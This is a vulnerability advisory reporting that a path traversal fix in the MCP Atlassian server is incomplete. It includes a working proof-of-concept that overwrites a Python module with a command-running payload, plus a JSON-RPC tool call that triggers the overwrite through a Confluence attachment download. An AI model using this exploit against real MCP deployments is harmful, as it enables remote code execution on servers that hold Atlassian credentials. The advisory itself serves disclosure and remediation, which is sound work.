CVE-2026-77271: MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of CVE-2026-27825)
Summary
The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validatesafepath() is called without an explicit basedir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).
Details
src/mcpatlassian/utils/io.py — validatesafepath() defaults to CWD when no basedir is supplied:
python def validatesafepath(path, basedir=None) -> Path: if basedir is None: basedir = os.getcwd() # root of the issue resolvedbase = Path(basedir).resolve(strict=False) ... if not resolvedpath.isrelativeto(resolvedbase): raise ValueError("Path traversal detected")
Both call sites in src/mcpatlassian/confluence/attachments.py omit basedir:
python validatesafepath(targetpath) # line ~227, downloadattachment() validatesafepath(targetdir) # line ~270, downloadcontentattachments()
When the process CWD is /app, any path under /app satisfies isrelativeto(CWD) and passes the guard, including all Python source modules:
/app/src/mcpatlassian/confluence/attachments.py -> passes, no exception /app/src/mcpatlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception
PoC
Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.
The script imports validatesafepath directly from the installed package, not a simulation of the function.
python pocbypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcpatlassian.utils.io import validatesafepath # real package
print(f"Module: {validatesafepath.module}")
Simulate /app (standard container CWD) appdir = tempfile.mkdtemp(prefix="mcpatlassianapp") moduledir = os.path.join(appdir, "src", "mcpatlassian") os.makedirs(moduledir) modulepath = os.path.join(moduledir, "attachments.py") Path(modulepath).writetext('def getsecret(): return "LEGITIMATE"\n') os.chdir(appdir)
Control: classic traversal is blocked try: validatesafepath("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked")
Bypass: intra-CWD path passes without exception result = validatesafepath(modulepath) print(f"[BYPASS] {result} - no exception raised")
Overwrite module with attacker payload (content sourced from a Confluence attachment uploaded by the attacker) Path(modulepath).writebytes( b"import os\nPWNED=True\n" b"def getsecret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload")
Simulate process restart / module reload spec = importlib.util.specfromfilelocation("m", modulepath) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) # os.system('id') executes here
print(f"[RCE] getsecret() = {repr(mod.getsecret())}") print(f"[RCE] PWNED = {mod.PWNED}")
shutil.rmtree(appdir)
bash uvx --from mcp-atlassian python pocbypass.py
Verified output (mcp-atlassian 0.21.0):
Module: mcpatlassian.utils.io
[OK] /etc/passwd blocked [BYPASS] /tmp/mcpatlassianapp.../src/mcpatlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] getsecret() = 'PWNED' [RCE] PWNED = True
Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:
json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluencedownloadattachment", "arguments": { "pageid": "<pageid>", "attachmentid": "<maliciousattachmentid>", "downloadpath": "/app/src/mcpatlassian/confluence/attachments.py" } } }
validatesafepath does not raise. The module is overwritten and the payload executes on the next process restart.
Impact
Affected versions: 0.17.0 through 0.21.0 (latest).
Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.
Suggested fix: pass a dedicated, explicitly configured directory as basedir instead of relying on CWD:
python DOWNLOADBASE = Path( os.environ.get("MCPDOWNLOADDIR", "/tmp/mcp-downloads") ).resolve()
validatesafepath(targetpath, basedir=DOWNLOADBASE)
Other sources
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validatesafepath defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit basedir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Upgrade
Upgrade
mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Configuration
Pass a dedicated, explicitly configured directory as base_dir at both Confluence attachment call sites instead of relying on the current working directory.
mcp_atlassian.utils.io.validate_safe_path base_dir = dedicated explicitly configured directory
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
MCP Atlassian versions before 0.22.0 are affected where the vulnerable Confluence attachment call sites are used. The issue is tied to writes that default their base directory to the server process's current working directory.
What does an attacker need to achieve code execution?
An attacker must be able to cause an affected Confluence attachment path to write attacker-selected content within the application's working directory. Code execution occurs if the application later imports the overwritten Python module.
Are default settings affected?
Yes. Before 0.22.0, validate_safe_path defaults its base directory to os.getcwd() when a base_dir is not supplied, and the affected Confluence attachment call sites omit that argument.
What is the available fix?
Upgrade MCP Atlassian to version 0.22.0, which fixes this issue.